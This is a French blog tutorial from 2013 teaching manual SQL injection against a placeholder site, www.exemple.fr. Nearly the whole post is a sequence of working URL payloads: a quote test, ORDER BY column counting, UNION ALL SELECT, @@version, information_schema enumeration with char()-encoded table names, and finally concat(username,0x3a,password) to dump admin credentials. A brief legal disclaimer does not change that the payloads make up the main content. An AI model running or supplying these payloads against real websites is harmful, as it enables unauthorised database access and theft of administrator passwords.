jeudi 13 juin 2013

Tuto Faille SQLi



Je vais vous présentez un tuto plutôt sympas, qui va vous apprendre a réaliser des injection sql.


Je vous épargne les explications sur le pourquoi, du comment de cette faille, mais sachez  qu'une injection sql est possible, lorsque le code php est mal coder.(Si vous faites des recherche sur la failles, vous comprendrez facilement dont je vous parle).

Pour venir dans le vif du sujet, il faut trouver un site a tester (il faut savoir que l'intrusion/modification/altération d'un système de donnée, est punissable par le code pénal, donc a tester sur vos site, ou avec l'accord de l'auteur du site).

Nous allons prendre comme exemple de site www.exemple.fr/newscat.php?id=1

Nous allons tester notre site pour voir si il est faillible par la faille sql, nous ajoutons ' a la suite de l'url.

 www.exemple.fr/newscat.php?id=1'

Si notre site nous retourne, un erreur sql c'est que le site est sujet a la faille.

Nous allons donc tester le nombre de colonnes (important pour la suite).Nous ajoutons: espace order by 1-- ou espace order by 1/*

www.exemple.fr/newscat.php?id=1 order by 1--

Le site devrait s'afficher normalement,nous allons continuer jusqu’au moment ou le site va nous donner un erreur sql.

Vous faites donc.

www.exemple.fr/newscat.php?id=1 order by 10-- (le site s'affiche bien,donc nous avons au moins 10 colonnes)

www.exemple.fr/newscat.php?id=1 order by 11-- (le site nous donne une erreur sql,nous savons alors que le nombres de colonnes est de 10, puisqu'il ne nous a pas retourner d'erreur avec 10).

Nous allons tenter de trouver la colonnes qui contient les données qui peuvent nous intéresse,On ajoute union all select , a la place d' order by 1--.

www.exemple.fr/newscat.php?id=1 union all select 1,2,3,4,5,6,7,8,9,10-- ( vous mettez a la suite autant de colonnes que vous avez trouvez au début avec order by *--).

Vous devriez voir des chiffres qui s'affiche sur votre page,ce sont les colonnes qui seront accessible.Nous allons dire que les colonnes 3,8,9 sont accessible car le site nous affiche la page normale + les chiffres 3,8,9.

Nous allons tenter de connaitre la version de la colonnes, nous remplaçons le nombre de la colonne que nous voulons tester par @@version, nous allons le faire avec la colonnes 3 dans notre exemple.

www.exemple.fr/newscat.php?id=1 union all select 1,2,@@version,4,5,6,7,8,9,10--

Si la version afficher est 4.* , alors passer votre chemin, si au contraire la version est 5.*, alors nous allons continuer.

Pour avoir le nom de la table (important pour la suite) nous remplaçons @@version , par table_name est nous ajoutons à la fin de notre url from information_schema.tables--.

www.exemple.fr/newscat.php?id=1 union all select 1,2,table_name,4,5,6,7,8,9,10 from information_schema.tables--

Nous recherchons le plus souvent une table qui contient admin, dans notre exemple, la table s'appelle admin.(j'ai faciliter pour l'exemple).

Nous allons donc convertir le nom de la table en ASCII (textop.us/Text-Convert/Ascii), pour la table admin, la conversion sera donc => 097 100 109 105 110.

Nous devons remplacer les espace (parfois les espace seront remplacer par des  signes du style ;&#)vous remplacez donc par des virgules, les espaces, ou les signes, se qui nous donne pour notre colonnes admin => 097,100,109,105,110 (attention au virgules).

Ensuite changer  table_name par column_name est information_schema.tables par information_schema.columns where table_name=char(le code ASCII)

www.exemple.fr/newscat.php?id=1 union all select 1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns
where table_name=char(
097,100,109,105,110)--

Nous voyons qu'il y a une colonnes user est une colonnes password, nous pouvons donc afficher le nom est le mot de passe de notre admin.Car nous savons que l'id est contenue dans la colonnes user est pour le mot de passe la colonnes est password.
Supprimez tous ce qui se trouve après ...9,10  est ajouter
from admin et remplacer column-name par
concat(username,0x3a,password)
(0x3a est le code ASCII,qui permet  de séparer l'user du mot de passe). 


www.exemple.fr/newscat.php?id=1 union all select 1,2,concat(username,0x3a,password),4,5,6,7,8,9,10 from admin

Nous avons donc admin:SontMotDePasse qui s'affiche.

Ce tuto a pour but la compréhension, est non l'appelle a l'intrusion des système, je ne pourrais être tenus responsable de vos actes.

Sachez qu'il existe des dorks, qui permette de trouver des site facilement faillibles, mais pour les raisons citer plus haut, je ne les mets pas a disposition, mais il se trouve sur google.